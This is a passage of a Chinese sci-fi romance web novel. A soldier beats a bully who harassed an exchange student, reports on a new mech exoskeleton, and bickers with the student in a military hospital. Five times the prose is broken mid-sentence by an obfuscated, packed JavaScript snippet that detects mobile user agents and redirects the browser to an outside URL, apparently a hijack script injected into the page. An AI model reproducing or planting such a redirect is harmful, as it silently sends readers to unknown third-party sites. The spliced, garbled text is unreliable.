也不知道二星来的人怎么会和这莽婆勾搭上,他几乎立刻就想走,却又被时与一腿踢上来。旁边那个长头发的见状“啊”了一声,尖叫过后也不客气,反倒是激动起来,继续喊:“时与!今天上午就是他!” 时与:“这么巧啊。” 蜥蜴不知什么时候已经被牢牢粘住,地面到廊顶之间挂着一根蛛丝,他咬牙,又被时与一脚踩上胸口,被压的差点当场吐出来。 他还想挣扎,却突然觉得一阵寒意冲到头顶,时与弯腰与他低声耳语:“不招惹我很难受是吧?” 拜森咬牙,感觉到时与的脚缓缓向他喉咙移过去,然而身体却同他的精神体一般已经被寥寥几根丝缠缚的动弹不得。他知道时与很少露出那个变态的精神体对人,色厉内荏道:“你敢!放开我!” 有什么不敢,反正两人早有过节,对彼此印象深刻,当时时与还是个无名小卒,拜森很不长眼的去戏弄时夏——故事的走向差不多,但那时候时与要更暴躁些,对人对事恶意毫不收敛,当着众人的面一颗颗拔掉了他的牙,最终被送进军事法庭遛了一圈。 或许也算因祸得福,她的精神体即使在军部也引起了不小的骚乱,那时候姜澜还是特战部的长官,听说这件事后不知用了什么手段把她从大法官手里保了出来,塞进队伍里养成了如今的死样子。 时与漫不经心踩上他的嘴巴:“死性不改,躲什么,张嘴看看牙口呗,这么有种,我是不是当初给你少拔了几个?” “我要让我……”拜森含糊痛呼一声,威胁的话说到一半,被时与碾住了嘴。 他身体不自觉开始颤抖,当初的疼痛仿佛心理阴影一般重新浮现,精神体倏忽消散无踪,军靴轻轻踢到下巴。时与蹲下来,手背轻拍打他的脸颊,用只有两人听得到的声音对他道:“只要我说这是我男朋友,即使你让大法官亲自来审我,我也还占理,明白吗?道格少校,别自找没趣。” “好了,起来。”时与拎住他的衣领,将他从地上拖起来,像个幼师似的指指江鹤吟,对拜森道,“道歉会吗,嗯?” 拜森紧咬着牙,是的,时与原本就是个下城来的贱民,行事无所顾忌,做着亡命死士的职位又偏偏受指挥官青眼,就算他父亲在这儿也只敢顺着她的毛往下捋。 “时与……”理智当然知道怎么做,但他愤怒的要发疯,几个字从嘴里挤出来,仿佛是毒蛇吐信,“你肯定会死得很难看。” 时与心想这还用你说,她笑了一声,一节蛛腿凭空伸出,抵住对方后心。 时与道:“嘴真臭,我要把你这口新牙塞进你屁.眼里。” “贱民……唔!” 时与果真一拳打到他嘴上,然后对着后脑又补一脚,他身体不受控制地踉跄跪下来,染血的牙齿掉到地上,理智在此时战胜愤怒重新回归,真正慌了神。 道歉的语句含糊不清,他想赶紧脱身,几乎抬起脚就想跑,却不想那二星的学生也是个愣头青的混球,没接受,仗着有个爱慕他的alpha在身边,人仗狗势要他端正态度再说一次,还要有诚意。 时与本来抱臂站在一边,听他这要求也有点惊讶,她总感觉江鹤吟连时夏都比不上,是个软和的受气包,万万没想到此人给旁人找起事来也这么不虚。这话说得好动听,她当即转向拜森又给了一脚:“听清楚了?” 拜森听清楚了,他不敢去顶时与,却敢无声威胁江鹤吟,万幸这时走廊没有别人,他抬眼瞪着他,一字一顿道:“二、星、的江同学,对、不、起。” 江鹤吟:“好吧,没关系。” —— 一天即将结束时冒出这样的小插曲,江鹤吟又开始开心,觉得在第八星真不错,每天都有新刺激。 虽然不知道看见时与揍了个人有什么值得他高兴的,但他也不提偷偷摸摸出军部的事了,鼻子里发出快乐的哼哼声,时与在后头一路跟着他,依旧插着兜,没去打断他的好心情。 时与感觉又发现他一个优点,这个胆大的家伙不只是爱刺激,他是真的一点都不害怕这种野蛮场面,不劝架也不想去息事宁人,甚至恨不得去添把柴拱拱火,越闹越兴奋。 这反应还怪有意思的,比那些柔弱腻歪的家伙好多了,时与对他评价再次升高,然后把他的麻烦程度再次调低。 她走得慢悠悠,江鹤吟回头催她:“快走快走。” “他不敢来找我了是不是?”见时与答应一声却还是懒得动弹,他就索性后退几步,让身位与时与平齐,“你好厉害啊,他看起来很怕你。” 时与从没给自己划分过社交领地,因此见他过来也不躲开,两人离得很近,江鹤吟闭嘴一会儿,安静了没几秒,眼睛向周围一转,勾勾手指,示意时与附耳过来。 时与直觉他没憋好屁,但还是歪头将一只耳朵伸过去。 “你说拔他的牙齿,”他一只手放在嘴边,呼出轻飘飘的热气,眼睛放光似的写着好奇,“alpha没了牙,那他现在算不算绝育?” 时与:“……。” 时与:“你不是医生吗,你问我?” “我不学这个!”江鹤吟抗议,或许beta会知道,但是omega的课程里确实没有这些东西。 “不算绝育吧,”时与还真顺着他的思路开始想这个问题,眼睛看向天花板,回忆起来,“他之前也……反正又换了新牙,好像是什么什么合金,这回肯定也有办法,你就看他现在跟被小鸟夺舍似的就知道绝不了育,身体肯定没问题。” 江鹤吟:“什么小鸟?” 时与:“嘘。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488227|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江鹤吟没明白她的意思,但还是听话闭嘴,时与将他送到电梯便不再打扰,直接挥手作别。 江鹤吟也摆摆手,电梯一直向上,到了他的楼层“叮”一声停下来,楼道又窄又挤,还有其他房间说话的声音,他边走边打开手包,拿出那个小通讯器。 江鹤吟:[平安回来了,谢谢你。] 荧光扫过身份信息,房门打开,江鹤吟走进去,时与回了个“收到”,仿佛是在收什么工作信息似的。他抬起头,于是一只小鸟站到旁边的架子上,伸出手指便扑棱棱飞过来。 关上门脱掉外套,他擎着这个毛茸茸圆滚滚的小东西原地转了个圈,将它向上一抛,自己顺势躺倒在旁边的单人床上。鸟飞回来,他就又伸出手指,举起来对着灯光照照。 “小鸟小鸟,”他把它颠一颠,“能被小鸟夺舍,真的假的……看看别的鸟多厉害,你也努努力。” 文鸟发出一大串“叽叽叽咕咕咕”的声音,江鹤吟又把它抛开。 他觉得时与真的不错,相处起来很自在,反正比家里找来看管他的人好得多。他翻个身,拿出通讯器点点点,问时与明天的安排。 时与没立刻回复他的消息,过了会儿才道:[有工作。] 没骗人,除非是苏鸿或者拜森那样的二世祖,否则军部里的休假和休息就完全是两回事。她明天得回特战部看看外骨骼的保养情况,然后给指挥官和技术部做汇报表,一个作战行动报告,一个外骨骼新性能反馈,不麻烦,但确实没想出门。 对方回过来一个可怜的表情,她翻翻眼睛,和江鹤吟约定:[16号?] 江鹤吟立刻同意。 他在这里游玩的没心没肺,另一边却正有一艘心急火燎的航空艇驶过航线,航空艇机身上涂着军方的迷彩,前头的标志却显然划归在民用的范畴,估计又是哪家的私人航班。 “真该死。”一人伸手砸向控制舱门,看着刚挂断的通讯器恼火不已。有人上来安抚他,也有几个一言不发,样子很是愁苦。 外面是广袤无垠的静谧星海,他们刚刚到达第八星远轨道,想跃进时却被通知由于不久前的虫潮,民用的轨道恐怕还要十天半月才能开启。 小少爷的通讯信号依旧被屏蔽,他们却只能被关在第八星外头,这情况简直让人焦头烂额,万幸主家还没催促到他们身上,要不真是现在就打开舱门自杀算了,毕竟他们谁也不敢硬闯第八星区。 江鹤吟挠挠手臂,继续和自己的精神体玩“抛出去再接住”的游戏,小鸟叽叽咕咕地缩成球,又伸成鸟条咬他的指甲,时与问他有没有想吃的,他回复:[想出去玩,不吃东西。] 第八星还能有什么好玩的呢,时与也不知道,但是她又不是导游地陪,这不是她要考虑的问题,索性偷懒,又给苏鸿发消息。 苏鸿不知道在做什么事,叫了声烦人,又老老实实说ok。 12. 第 12 章(修) 次日一早时与就收拾好自己离开了病房,倒也托江鹤吟的福,医疗部比她的住所离特战部更近一些,她多睡了半个小时,这半小时致使她后续去做那些复杂的检测时都显得颇有耐心。 外骨骼是一直都有的设想,但不久前才真正被研制出来,算第八星领先联邦的新技术,它比传统机甲轻便灵活且火力更强,大量的负载结构和电路被一并省去,这样的结构对驾驶人的身体素质要求更高,但能源续航也因此更胜了一筹,是第八星新一代高精级机甲的进化方向。 ——当然也不是全无缺点,这新技术的防御水平实在一般。她将使用感受整理成更严肃庄重的语言写在报告纸上,如果这次用的是先前的轻量型机甲的话,她不会受这么多小轻伤。 说起来旧机甲的钥匙还在江鹤吟手里,忙忘了,昨天就该问他要回来。她写着写着突然抬头思索,又觉得好像也没这个必要,刚帮他解决了一个小问题,这样容易显得自己别有用心打蛇随棍上。 将报告交到技术部,一个戴眼镜的小个子青年将手册接过来,她好像和时与很熟,也不提正事,随口问她:“你昨天把拜森打了?” 时与心中冒出一个问号,然后直接承认:“确实,我以为打得很隐蔽呢,你怎么知道?” 那青年一撩头发,漂亮的眼睛在她身上转一圈,颇有一番探究意味,揶揄道:“为了男朋友?” 时与:“别造谣,少胡说八道。” “可是大家都这么说,”她翻开时与的报告,先笑她,然后逐字看起来。报告写得正经,用词也在她的磋磨下愈发专业,她看着,忽然疑惑“嗯”了一声,挑眉指着一处,“防御性能怎么会这么差?你们打开能量屏了吗?” 时与显然不接受这种质疑,立刻喊冤:“性命攸关啊姐姐,怎么可能不开,我们一辈子学习最认真的时候就是学你们的说明书,这锅压在我们身上可太重了。” “好吧。”那人接受这番说辞,装模作样轻出一口气,“幸亏这次没有阵亡,不然你揍完拜森就得揍我了,真吓人。” 时与谦虚:“哪里哪里。” 那技术人员也不再同她打趣,认认真真看起时与给的数据。实战比实验的情况复杂的多,虫巢里的各种能量场至今也无法被人类复刻模拟,这就导致新技术的后续调试往往要依赖于他们这些战斗人员拼上性命带回的反馈来进行,原始、危险、低效,却实在没有更好的方式来更替。 她又问:“你们平均换了两次能量源?” “对,”时与说,“能量消耗只到以前的三分之一,性能却有升高,如果穿这个,我就算不带热武器单挑两个重机甲也轻而易举。” “惊喜,”她从口袋里掏出块泡泡糖,抛给时与,“看来在虫巢里优缺点都会更明显,了解了,接下来我们会想办法挪动一些能量去加强防御系数,不用担心。” 时与耸肩,她不懂这个,想担心都没地方问,下城的小孩儿不学数理化,她这样的已经算天才高材生,文绉绉写这么多话交上去已经算是极限挑战大成功。 时与又等了一小会儿,见她没别的问题,对她摆摆手打个手势:“我还要去见指挥官,如果有事就直接挂我通讯。” “好嘞。”那青年笑盈盈回应,“等你升职的好消息。” —— 这种客套没人会信,升职是不可能升职的,时与很有自知之明,她一个没根没底的小平民在青年期能做到这个位置已经算是前无古人,完完全全依靠的就是基因突变天赋异禀。 敲门进去,她敬礼,指挥官正处理公事,听到声音慢悠悠把眼睛从文件里拿出来,见她站定,口气很和善,第一句便道:“听说你又把拜森打了。” 时与:。 私下见面时指挥官并不那么威严,她像个普通的长辈,问道:“为了男朋友?那是二星的交流生吧,这才几天,怎么就混到一起?” 时与心说你这查的挺透,论八卦还得是上层人方便,倒也不用对部下的私事这么关心。她站姿标准,想察言观色的时候就很会察言观色,听苏道之这么问,回复得也就没那么正式:“报告,这是造谣,我是去帮忙主持正义。” 指挥官遗憾道:“尽跟着阿鸿说胡话。” 时与立正闭嘴,哪敢当面对别人家的好闺女指手画脚,权当这对话就此结束。她交上这次特战部的作战报告,等这位指挥官发话放自己离开或干脆在她面前直接复核审批。 行动很顺利,因此基本不会等来批评,然而好像今天碰见的每个人都想和她聊聊她的感情状况,苏道之没让她离开,作战报告也放到一边,继续问道:“有想法吗,你可以去查查对方的底细。” 时与真的举手投降,也不知道拿这事到处乱说的究竟是苏鸿还是拜森两个人谁的破嘴,索性心里都骂了一遍,张嘴叫冤:“苏将军,放过我吧,真没有。” 这可真是混蛋,时与这边的压力一点都没传到江鹤吟身上,江鹤吟正常起床正常工作,担心时与逗自己玩,还特地先去查了她的房间。房间中果然早就没了人,时与又在床上留了个纸条,估计是从哪里撕下来的一个小角,上面画了个挤眼吐舌的鬼脸,什么字都没写。 这纸条当然不可能是留给别人的,他忽然有点不好意思,捡起来想丢掉,折几下却没见到有垃圾桶,就只好先收到自己口袋里头,装完觉得有点烫手,于是又更不好意思。 他坐到时与的床上,拿出通讯器给她发消息,也发了个丑丑的小表情过去,时与一直没有回复,连旁线AI也没给他接,估计是真的有事情。 上士能有什么工作呢,他想,训练?非要带伤训练不可吗?这不行,这样对身体不好。 还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488228|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该跟他回二星去。 籍贯要转移吗?他不太懂军部这些事,但或许也不用那么麻烦,他可以直接把她塞进家族办公室,做个闲散的职位——或许直接做他的助理也可以。 “笃笃”,房间的门忽然被敲响,江鹤吟抬起头,这才发现门口站了个熟人,是刚认识不久的小卷毛洛恩。洛恩见他看过来,手指曲起,又在门上敲击几下,打招呼微笑道:“你好呀。” 江鹤吟:“咦?” “我想起我们的志愿号是相连的,”洛恩说,“我在二十六楼,就猜你在这里了。” 他见病房里没人,很自来熟地走进门来,对他的情况依然很关心:“你怎么样?我还没问你要联系方式呢……我看你总单独行动,也是一个人来的吗?没人说话总觉得有点寂寞,所以我想或许我们可以搭个伴。” 江鹤吟点头,但遗憾道:“我的脑机出了故障,通讯号码应该暂时没办法用,不好意思。” “哎?”这下轮到洛恩惊讶,脑机故障如今可算是个罕见病,他坐到江鹤吟身边,“那你怎么……你向老师申请的通讯器吗?” 江鹤吟:“老师不在,她和军部那边有会议,应该几天后才回来。” 他言语坦诚,却对洛恩想问的问题有些回避,一个关键词都不提。 这好难受,洛恩用手指轻轻剐蹭自己的腿,简直抓心挠肺,他打了半天的腹稿已经说完了,不知道该怎么继续找话题,好想直接开口问能不能把刚才他拿的那个通讯器给他瞧瞧,又明白这话太冒犯,好不容易才憋回去。 该怎么描述一个长得像机甲启动器的东西对机甲发烧友的杀伤力? 大概是让一个内向的青年顶着alpha骚扰阴影也要用尽浑身解数来找人搭话的程度。 他实在怀揣着一颗炽热的内心,少年就励志要和机甲RX-013过结婚一辈子。对联盟公开的一百八十二款机甲倒背如流,对未公开的种类也四处搜罗、到处研究,本该是个做驾驶员的好苗子,奈何身体素质太差,安全区又不太培养这方面的研究员,于是只好另辟蹊径考到阿斯克勒去。 阿斯克勒是联邦最好的医学院,直属于第三星军部,托军部的福,洛恩也有过不少真正观摩机甲的机会,也有幸见过一个机甲会如何被启动——当时的启动器和江鹤吟手里那东西有八分相似。 早听说联邦一校卧虎藏龙,挖个坑能抓到十个权贵子弟,洛恩心说这就碰见个活的,他到底是怎么搞到那东西,急急急。 江鹤吟早在他进门的时候就将通讯器收了起来,见他坐在身边欲言又止,以为他还在担心昨天那alpha的事,反倒安慰他:“你不用担心我的,没关系。” 洛恩:“啊,没关系吗?” “没关系。”江鹤吟浅笑,“有人帮我解决啦,他不敢再来找我的,别担心。” 13. 第 13 章 二人又叽叽咕咕说了些别的,时与回来时正听见房间里的说笑声。 下午的时间还未过半,她瞧瞧外头的天色,心想这怎么还呼朋引伴,少爷们净出来碍事,也不知道回到自己的休息室去,莫不是觉得在别人的病房待着格外有意思。 出门被洗礼了大半天,时与现在听见江鹤吟的声音就头疼,虽说也知道不能怪到他头上,但还是莫名不爽——特别对方听上去还这么高兴,不爽更是翻倍。 她推门进去,房间里的说笑声在她进门的瞬间立即暂停,江鹤吟身边坐着个从没见过的卷头发小矮子,见她进门就“嗖”一下站起来,时与摆手,小矮子对她尴尬一笑,又重新坐回去。 江鹤吟倒是坐得稳当,对一切恍然未觉,看见时与高兴道:“你回来啦!” 他们俩正排排坐在那张没有被子的床上,陌生alpha的出现让洛恩有点局促,但他又实在对这里正儿八经的军人感到好奇,于是悄悄抬眼,视线偷偷摸摸爬到她身上,从鞋底往上看,在看清时与腰间挂饰似的东西时怔了一下。 时与今天穿的军部常服,不算隆重,但从头到脚配得很齐整。外套半路被她脱下来随意搭在肩上,里头的衬衫是不见标识的通用款,站在那里的姿态非常随意。 江鹤吟见这身衣服见得可多,根本没在意时与身上都挂了什么,打眼一看就只感觉这衣服和二军那边的颜色不太一样,偏灰,显得时与原本就惨白一片的肤色更不健康,不太称她的样貌。 时与也没打招呼,对江鹤吟扔了块糖果过去,是今早技术部那人给的那块,注意到洛恩的视线,干脆坐到他们对面,社交面具启动,对他笑道:“怎么了,我还没见过你,你叫什么名字?” “呃,呃……”洛恩看着她那双深黑色的眼睛,舌头又有点打结。他不太擅长在线下和不熟的异□□流,这人动作上有些轻慢,但却好像比他曾见过的人都更锋利凛冽些,与她相对让人颇感压力。 他把舌头捋直,声音越来越小:“我叫洛恩·奎克,是阿斯克勒五年级普外科的学生,来这里,呃……” 他想了想,不知出于什么心理,还是把真实目的说出来:“来这里……是想看看最新款的机甲。” 时与想:好,这也是个大天才。 她调整了一下坐姿。 谁都向往更稳定的生活和更安全的社会,阿斯克勒,时与知道这所学校,一个到处都挂名的医学第一。她其实很长时间以前就想让时夏去安全区留学,接触接触人道主义的高等教育之类,也算继承他父母的衣钵,奈何时夏本人不太乐意,用他的话说就是搞不了学术,死也不想学这些鬼东西。 时与倒没逼他,毕竟她本人对此事深有同感,只能背地里暗自遗憾,如今一再接触这些好学生,她滤镜有点破碎,不得不开始怀疑那边——特别是上三区的教育其实还是有点问题,这群人做事的思路叫她实在捉摸不透,当然好处也有,至少可以说是非常勇敢非常创新。 她翘起腿,一手扶着下巴,另一只手一摊:“你的目的恐怕很难达成,这里新旧机甲都不对外公开,连训练用的淘汰型号都要一定的军衔才能接触。” 洛恩:“啊。” 时与:“嗯。” 洛恩脸上的表情一下子苦闷起来,与江鹤吟先前那些笨蛋样子如出一辙,于是时与眼睛瞟向江鹤吟,见他手里拿着那块糖果,正支着耳朵听。 江鹤吟似乎感觉到时与看他,眼睛转过来,与她对上视线。 怪可爱的,时与歪头,与他相对眨眨眼,忽然心情变好了些,又笑起来,对洛恩道:“实在想看的话,休息日可以去二十三区GR楼,三十八层是开放的,能看到一些日常训练。” “二十三区?”洛恩眼睛睁大,终于听到今天最让人高兴的一个有用信息,急忙在脑机上记下,“太好了,谢谢你!” 他甚至立刻站起身,仿佛是现在就想走似的,顿了一下好像觉得这不太好,又坐下去。时与随口一说的方案好像立刻就拉近了两人的距离,他犹豫了两秒,面前浮现出一块光屏,眼巴巴问时与:“我可以加您的通讯号码吗?” 时与:“可以。” 她口气很温和,并不介意自己通讯录里再多个蛮可爱的beta,与他交流的一举一动间没有任何不耐烦的意思。 江鹤吟撇嘴,看两个人互相交换通讯信息,挠挠手臂,有点不爽。 要不干脆也去换个联系方式……? 好像没必要,江鹤吟想,他这里还有个独家通讯器,实体装配,仅限他们二人双线联系,通讯号码不会比这个更方便。 时与和洛恩两人交流起来比他一开始要更和谐,一旦说到感兴趣的地方洛恩的话匣子便打得很开,偏偏时与又好像对这里了如指掌,无论问什么,从医疗部到各处第八星的机甲作战情况她都能为他指引出一二三。 这下真是相谈甚欢,时与好像蛮喜欢他,江鹤吟捏捏那块糖,倒是突然体贴起来,开始考虑两人一直在这里会不会打扰她休息。他问时与:“你要睡觉吗?” 时与说:“啊?” 洛恩这人敏感些,他闻弦歌而知雅意,心想糟糕,自己恐怕是问得太多,涉及了什么机密,他在点我。 他感激地看了江鹤吟一眼,拉过他的手立刻就要溜:“那我们先走啦?你好好休息。” 时与坐在床上莫名其妙道:“哦。” 看吧,她就说搞不清这上三区的人脑子里想的都是什么东西。 洛恩拉着江鹤吟风风火火撤退出去,江鹤吟心里“哎?”了一声,差点被他拉得左脚卡右脚绊倒,没反应过来便来到走廊上。 他懵逼,洛恩倒还是很兴奋,他说:“太厉害了,鹤吟,你怎么认识她的!” 这问题就好难回答,江鹤吟支支吾吾:“这个……我们意外认识的。” “那你之前拿在手里的那个……”洛恩话到嘴边,担心给二人找麻烦,便又转了个弯,“……那个菱形的小通讯器,是她给你的吗?” 江鹤吟:“呃,是。” “太厉害了!”洛恩眼睛放光,一句话重复三次,他握着江鹤吟的手快要绕着他转个圈,“好厉害,她还有一个新的,你有没有看到!我还从来都没见过那种样式,肯定是新型号!太厉害了!” 江鹤吟看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488229|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己眼前转,还是懵懵的,附和道:“是呀,是呀。” —— 时与倒是还不想睡觉,但两人走了也好,她此刻半躺在床上,像个客服似的检查脑机,给各处回复消息。 技术部在跟她确认调整后能源的设计,于是她把消息转接给队伍里更懂这些的队员,三个人拉了一个小群,听她们讨论这些她根本听不懂的技术话题。消息撤到后台打开,她也不说话,就当是背景音。 老道格不久前给她发了一串意味不明的长信息,时与翻着消息列表,这时候才终于想起来看,耳边队友的声音逐渐激动,她一边看那一长串字符,一边终于开麦插嘴骂了她一句,然后给老道格回了个“收到111”。 苏鸿有13条未读,时夏有两条,刚加入通讯录的洛恩也发来一条弹窗,她先打开时夏的消息,告诉他自己伤好可以回家,洛恩的弹窗打开是个谢谢的小表情,她随口回应。 苏鸿:[《突发!恩修斯娱乐场遭袭,疑似虫族跨过防御网入侵》] 苏鸿:[《老祖宗智慧受用终生·XX万年历》] 苏鸿:[《断货王——uhyj超赞冰淇淋》] 苏鸿:[我十六号要去新内尔湾参加会议。] 时与把前头的冰淇淋添加收藏,回复她的消息:[好气派,你哪天继任指挥官能不能给我涨薪?] 这家伙一天不训练的时候要玩十八个小时脑机,时与消息发过去,苏鸿便立刻回复过来。 苏鸿:[可以,但众所周知继承人是我大姐,你是不是想加入我的战队帮我夺嫡?] 二世祖有个屁战队,连零用钱都是这位大姐给的,时与嫌弃:[没用的东西。] 苏鸿:[江同学知道你天天骂我吗?] 时与:[关他屁事,滚滚滚。] 哦,等等,差点忘了这位江同学。 先前似乎答应江鹤吟出去玩,苏鸿十六号要开会的话就蹭不上车,那就只好自己带人走,倒霉。 她遗憾道:[好吧,算了。] 不过走神这么一小会儿,耳边背景音突然又吵嚷起来,时与“噫”一下,捂着耳朵打开通讯:“吵什么吵!拜托这玩意儿做出来是我们要用,听我们的不就得了!” “你就听她一个半吊子说话啊!你是不是有毛病!”米尔加奈也吼她,“这么做出来能源效率更低,要能好用我倒着把八军部爬一遍!” 时与:“姐姐你倒也不用这么狠毒。” 米尔加奈还在恼火:“我跟你说话呢,你又把她叫过来干什么,就知道瞎指挥人,讨不讨厌。” “我又听不懂你们叽哩咕噜说那些东西,”时与理直气壮,向后一靠,倚在住院部不算蓬松的枕头上,“那不行你们先建两个模型呗,反正预算足够,做出来就叫我,我去试试哪个更好,选更好的那个用。” 米尔加奈:“如果我们做得更好怎么办?” 时与:“我就给你们申请大表彰。” “还用你申请!”她又恼,但倒是没挂通讯,“建模很快,调整参数就行,你什么时候有空。” 时与:“随时啦,我休假。” 14. 第 14 章 假期并不忙碌,时与伸个懒腰打呵欠,老老实实做一头吃了就睡睡了继续吃的大野猪。 外头的晨钟还在响,走廊上有护理机器人微弱的履带声,这个时间应该是要给病人分发早餐。这个不能错过,时与踢踢被子勉强睁开眼,要说人的适应能力真的很强,她竟然有朝一日在医院也能睡得这么安逸,这不应该,真是难以置信。 脑中的低频波重新切换为高频,注意到她醒来,沉寂一晚上的脑机也解除免打扰的睡眠模式,开始尽职尽责把这期间的消息打包发送给她。消息都不紧急,除了各种订阅邮件就只有来自洛恩的一条通讯信息,发送时间还很新鲜,是二十分钟之前。时与打开,发现里头只有一张图片,是一张刚刚拍摄的风景照。 照片的视角从高处俯瞰,人造太阳撒下的晨光碎金般耀眼,时与眯了眯眼,认出这是她昨天说的那个“能看到机甲训练的楼层”,但又有点不确定,心里暗叫这小子行动力有够强,他和江鹤吟分明是一个时间表,待会儿就得上班,今天就急不可耐的过去也不知道有什么意义。 [你起的真早,]她敷衍回复,[晨钟响了,从那边还能赶回来吗?] 洛恩的消息立刻弹出来,他说:[嗯!能的!] 洛恩:[可惜没有见到训练。] 这么一大早过去能看得到训练才有鬼了。 时与翻个身咋舌,本想刻薄一下,但想起他那认认真真战战兢兢的样子又改了口,只平常道:[当然看不到,你下次正常时间去才行。] 洛恩没说什么,只发过来一个憨笑表情。 她关掉对话框懒得再理,正要再去打开邮件,便听到房门被轻轻敲响。时与转头,见到江鹤吟站在门口,应该是刚把护理机器人赶走,他手里拿着两支营养剂,对她比划了两下,就要抛过来。 时与伸手接住:“你起得也挺早。” 江鹤吟背着手,哼哼道:“什么?” “我说你起得好早,”扭开营养剂的盖子,时与逐个放在鼻下嗅嗅。今天是原味和椰浆的口味,原味有点难吃,她就暂时放到一边,拿过椰浆的来尝,“大清早来找我做什么,你比我弟弟来得都勤了。” 江鹤吟也不知道他来做什么。 可能是昨天预留的相处时间被旁人打扰,于是觉得该补回来,总之想过来就来了,也没什么特别的原因。 他习惯性将头发别到耳后,露出漂亮的脖颈,手指摸到颈侧时顿了一下,赶忙又用头发盖住,他眼睛眨眨,随意道:“嗯……没事,我有点无聊。” 时与很没情趣:“我数三二一,没有目的就出去。” 时与:“三、” 江鹤吟那边传来抗议声,时与依旧不为所动,他只好浑身翻一翻,把刚才给自己拿的一管营养剂也上供给她,这才让时与闭上嘴。 她闲汉似的撑着头半躺在床上,江鹤吟坐到旁边,伸手摇摇她的腿:“要不要送我去门诊?” 时与:“不要,我还要睡。” 意料之中,江鹤吟继续找理由,再摇一下:“万一我又被跟踪怎么办。” 时与:“不会,早上他起不来。” 什么叫做起不来,怎么可能,这可是军部,军人怎么会起不来,这理由够可笑。 虽说需求原本就不存在,但江鹤吟听出她敷衍,或许是发.情期快到了的缘故,他最近情绪波动比往常更大一些,听她这么说又有点生气,撇嘴坐在一边,眼睛盯着时与手里的营养剂。 时与不管他,还漫不经心地喝着自己的早餐,心里算计是不是要回去一趟吃点新鲜食物果腹。江鹤吟见她神游,心头小小火焰更旺,鬼使神差道开口:“呵呵,我给你在里边加了大便。” 时与:……。 江鹤吟:……。 这话来得很没道理,脱口而出后他自己心里先倒吸一口凉气,好想撤回消息。 时与不动了,她把营养剂从嘴边移开,慢悠悠盖上盖子,好像不认识他似的,上下打量起江鹤吟。江鹤吟绷着脸坐着,被看了几下就屈身低头,手臂埋住整个脑袋,耳尖肉眼可见的变红,羞愧得好像下一刻就准备自杀。 时与:“你要不要听听你在说什么?” 江鹤吟埋着头,声音细若蚊蚋:“……没加……” 时与:“……这个我知道。” 时与怀疑他就是特地来破坏自己的美好早晨。江鹤吟今天莫名其妙地进门,然后对她提莫名其妙的要求,说着说着莫名其妙又冒出这么一句话,这也太怪,不像个正常人。 “你是不是就想来找我麻烦?”她略微反思,建议道,“早上要是实在闲得没事就去陪你朋友看空白训练场,我看你俩都挺有劲儿的,别浪费。” 江鹤吟头顶冒烟,露出两只眼睛:“什么空白训练场?” 时与喉咙里发出个无奈的叹气声,终于舍得坐直身体,心念一转,一块光屏悬浮现在手腕上方,她调出洛恩方才发给她的图片给江鹤吟展示:“喏,你下次就直接和他一起。” 江鹤吟摸摸脸颊,脑袋凑过来,没看出这是什么别致的风景:“这是哪?这有什么好看的,干嘛要特地拍给你?” 时与:“这是我昨天说的能看到机甲训练的楼层。” 江鹤吟:“他好笨啊,这时候去怎么可能看得到训练。” 时与:“……难得,我第一次赞同你的发言。” 江鹤吟想,你们很熟吗,他什么时候给你发的消息。 江鹤吟问:“你早上不陪我的话,下午能不能接我回去啊?” 时与发出绝望的叹气声,江鹤吟的脑袋还在她手边,她直接按住他的额头把人推开。 “好了,江同学,先等一下,回答我一个问题,”江鹤吟还要说话,她伸出一根手指竖起来,压到他鼻尖上方,问道,“我们现在是什么关系?” 江鹤吟哪里想过这个问题,他正不爽,听到这问题“哎”了一声,脸上刚消下去的红晕又升上来。 他瞬间心绪不稳,支支吾吾:“呃,好…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488230|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好朋友?” “错误。”时与伸出的那根手指挪开,在他眼前轻轻摇晃,“我们是较为熟悉的陌生人,明白吗弟弟?我只是脾气比较好所以选择帮助你,但也有自己的事情要做,因此希望你不要对我的时间有太强的占有欲。” 